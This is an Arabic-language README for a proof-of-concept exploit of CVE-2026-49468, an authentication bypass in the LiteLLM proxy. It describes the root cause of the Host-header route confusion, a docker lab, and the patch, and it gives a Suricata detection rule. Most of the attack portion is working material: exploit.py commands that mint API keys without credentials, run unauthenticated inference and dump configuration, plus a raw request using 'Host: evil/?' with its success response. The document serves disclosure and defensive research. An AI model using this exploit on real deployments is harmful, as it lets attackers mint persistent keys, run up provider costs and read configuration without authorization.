
CVE-2026-49468 — LiteLLM (<1.84.0) تجاوز المصادقة غير المصادق عليه عن طريق الارتباك في مسار رأس المضيف. PoC + مختبر دوكر.
ثغرة تجاوز المصادقة/التفويض قبل المصادقة في وكيل LiteLLM (BerriAI).
رأس Host واحد مفبرك يجعل الوكيل يقيم قرار المصادقة الخاص به مقابل مسار صحي عام بينما لا يزال FastAPI ينفذ معالج الإدارة المحمي — مما يخدم الطلب بدون مفتاح API.
| CVE | CVE-2026-49468 |
| المنتج | وكيل LiteLLM (BerriAI) |
| المتأثر | < 1.84.0 (تم التحقق على v1.83.14-stable) |
| الإصدار المُصحَّح | 1.84.0 |
| الفئة | مصادقة غير سليمة (CWE-290) — تضليل المسار |
| المصادقة | لا شيء (قبل المصادقة) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD) |
| CVSS 4.0 | 9.5 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (GitHub) |
| الحالة | مؤكد — تم إعادة إنتاج التجاوز بالكامل؛ تم التحقق من الإصلاح على 1.84.0 |
كل ما يلزم للاستغلال هو رأس واحد:
Host: evil/?
تستمد litellm/proxy/auth/auth_utils.py::get_request_route() المسار المستخدم لكل قرار مصادقة من request.url.path. يعيد Starlette بناء سلسلة عنوان URL تلك من رأس Host الذي يتحكم فيه العميل:
# starlette/datastructures.py (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}" # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path
يرسل FastAPI التوجيه على مسار ASGI الخام request.scope["path"]. يؤدي حقن ? في رأس Host إلى دفع مسار الطلب الحقيقي إلى مكون الاستعلام في عنوان URL، وبالتالي ينهار url.path المعاد بناؤه إلى /:
real request path (scope, FastAPI routes here) : /key/generate
Host header : evil/?
reconstructed URL : http://evil/?/key/generate
urlsplit(...).path : / <-- auth sees this
/ موجود في LiteLLMRoutes.public_routes، وتختصر بوابات المصادقة كلتاهما المسارات العامة باستخدام نفس القيمة المزيفة:
# user_api_key_auth.py — authentication builder
if route in public_routes: # route == "/"
return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) # no API key required
# user_api_key_auth.py — authorization wrapper
if route in public_routes: # route == "/"
return # skips common_checks / admin-route enforcement
الإصلاح (1.84.0): الآن يقرأ get_request_route() request.scope["path"] / scope["root_path"] مباشرة، دون إعادة بناء من رأس Host.
يمكن الوصول إليها بدون مصادقة (تخدم كـ INTERNAL_USER_VIEW_ONLY):
POST /key/generate → إنشاء مفتاح API افتراضي صالح. يعمل المفتاح كمصادقة عادية بدون رأس تجاوز → وجود دائم مصادق عليه وإساءة استخدام تكاليف المزود.POST /user/new → إنشاء مستخدمين.POST /chat/completions (+ /v1/models, /model/info) → استدلال بدون مصادقة ضد مزودي LLM المكوّنين للوكيل.GET /spend/logs, /settings, /get/config/callbacks → كشف التهيئة / القياس عن بعد.تبقى نقاط النهاية المحمية بفحص مضمن PROXY_ADMIN محظورة (/config/update, /model/new, /user/list, /key/list, رفع الصلاحية, إنشاء MCP مباشر), لذا هذا التجاوز لا يعطي صلاحية وكيل كاملة أو تنفيذ أوامر عن بعد على v1.83.14 — انظر ANALYSIS.md.
# 1. bring up a vulnerable + patched lab (auth enabled with a master key)
cd lab && docker compose up -d && cd ..
# 2. confirm the bypass
python3 exploit.py -u http://127.0.0.1:4000 check
# [*] GET /user/list no-bypass Host -> 401
# [*] GET /user/list Host: evil/? -> 403
# [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).
# 3. mint an API key with no credentials
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
# [+] Minted virtual API key (unauthenticated): sk-....
# 4. unauthenticated inference / enumeration
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump
# patched build (v1.84.0 on :4001) rejects the same requests with 401
python3 exploit.py -u http://127.0.0.1:4001 check
exploit.py هو stdlib-only (http.client) ويضبط رأس Host حرفياً على مستوى السلك. الإجراءات: check, mint-key, user, chat, dump, raw METHOD PATH.
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2
{}
HTTP/1.1 200 OK
{"key":"sk-...", ...}
انظر EVIDENCE.txt للحصول على مصفوفة الأساس/التجاوز الكاملة، والمميز العدائي (evil → 401, evil/foo → 401, evil/? → 200), والحد المُصحَّح.
1.84.0 أو أحدث.Host (ارفض قيم Host التي تحتوي على /, ?, #)، وقم بتعيين master_key.التجاوز هو رأس Host غير صحيح نحوياً. مثال قاعدة Suricata:
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
flow:to_server,established; http.host; pcre:"/[\/?#]/";
classtype:web-application-attack; sid:2026049468; rev:1;)
من جانب السجلات: أي طلب يحتوي رأس Host فيه على /, ?, أو # يصل إلى وكيل LiteLLM.
Caio Fabrício (BiiTts).
لأغراض البحث والاختبار الأمني المصرح به فقط.